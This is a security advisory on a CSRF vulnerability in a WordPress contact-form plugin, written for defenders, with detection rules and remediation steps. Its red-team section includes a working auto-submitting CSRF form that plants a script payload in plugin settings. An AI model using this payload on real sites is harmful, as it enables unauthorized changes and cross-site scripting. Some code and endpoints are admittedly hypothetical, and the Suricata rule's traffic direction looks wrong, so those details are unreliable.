CVE-2024-56218

Executive Summary

CVE-2024-56218 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WordPress plugin Contact Form 7 – Dynamic Text Extension (versions up to and including 5.0.1). This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or injecting malicious dynamic text configurations. The CVSS score is 4.3 (Medium), and no public exploit code or patch is currently available. The plugin is part of the WordPress ecosystem, and exploitation requires user interaction (e.g., clicking a crafted link).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should verify plugin integrity and monitor for updates from the vendor (Sevenspark).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the CSRF.
• User Interaction (UI): Required (R) – Victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Limited ability to modify plugin settings.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity could allow an attacker to alter plugin behavior, potentially leading to further attacks (e.g., XSS or data exfiltration via dynamic text fields).

Deep Dive & Mechanics

The vulnerability resides in the Contact Form 7 – Dynamic Text Extension plugin, which extends Contact Form 7 by allowing dynamic text fields (e.g., user IP, URL parameters). The plugin fails to implement proper CSRF tokens or nonces on administrative actions, such as saving settings or updating dynamic text configurations.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a forged request (e.g., a form submission or image tag) that targets the plugin’s admin AJAX endpoints.
2. The victim (an authenticated WordPress administrator) visits the attacker’s page while logged into their WordPress site.
3. The victim’s browser automatically sends the forged request, including their session cookies.
4. The plugin processes the request without verifying the origin, allowing the attacker to modify plugin settings (e.g., add malicious dynamic text fields that execute JavaScript).

Root Cause: Missing CSRF protection (nonce validation) in admin-facing functions, specifically in admin.php or AJAX handlers.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.0.1):

// In admin.php or similar
function save_dynamic_text_settings() {
    // No nonce check
    update_option('cf7_dynamic_text_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=cf7-dynamic-text'));
}

Patched Code (Hypothetical):

function save_dynamic_text_settings() {
    // Nonce verification added
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'cf7_dynamic_text_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('cf7_dynamic_text_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=cf7-dynamic-text'));
}

Key Difference: The patched version includes a nonce check (wp_verify_nonce) to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and an authenticated admin session.
• Attacker-controlled web server to host the CSRF payload.

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that automatically submits a forged request:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=cf7-dynamic-text&action=save" method="POST">
  <input type="hidden" name="settings[malicious_field]" value="<script>alert('XSS')</script>">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 2: Host and Deliver

• Host the file on your attacker server.
• Send the link to the victim (e.g., via email or social engineering).

Step 3: Trigger

• When the victim clicks the link while logged into WordPress, the form auto-submits, modifying the plugin settings.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected changes to the cf7_dynamic_text_settings option in the WordPress database.
• Look for admin AJAX requests without a valid nonce parameter.

Defense:

• Apply the vendor patch immediately when available.
• Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin.php?page=cf7-dynamic-text without a valid _wpnonce parameter.
• Educate administrators to avoid clicking suspicious links while logged into WordPress.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin.php?page=cf7-dynamic-text&action=save without a _wpnonce parameter.
• File: Modified wp-content/plugins/contact-form-7-dynamic-text-extension/admin.php file (if attacker gains file access).
• Database: Unusual entries in the wp_options table under cf7_dynamic_text_settings.
• Log: WordPress debug log entries showing failed nonce checks (if patched).

Detection Engineering

YARA Rule

rule CVE_2024_56218_CSRF {
    meta:
        description = "Detects vulnerable Contact Form 7 Dynamic Text Extension plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56218"
    strings:
        $vuln_func = "update_option('cf7_dynamic_text_settings'" nocase
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $vuln_func and not $no_nonce
}

Sigma Rule

title: CVE-2024-56218 CSRF Exploitation Attempt
id: 8a3f7c2e-1b4d-4f9a-8e6c-5d2a1b3c4f5e
status: experimental
description: Detects CSRF attempts against Contact Form 7 Dynamic Text Extension
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin.php?page=cf7-dynamic-text&action=save'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-56218 CSRF Attempt - Contact Form 7 Dynamic Text Extension";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin.php";
    http_uri;
    content:"page=cf7-dynamic-text";
    http_uri;
    content:"action=save";
    http_uri;
    sid:1000001;
    rev:1;
    reference:cve,2024-56218;
    classtype:attempted-admin;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Sevenspark.
2. Implement a WAF rule to block requests to the vulnerable endpoint without a valid nonce.
3. Audit admin logs for any unauthorized changes to plugin settings.

Long-Term Fix:

• Apply the vendor patch (once available) or manually add nonce verification to admin.php as shown in the patched code example.
• Update to the latest version of the plugin when released.

Workaround:

• Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.

Valters IT
Securing Digital Frontiers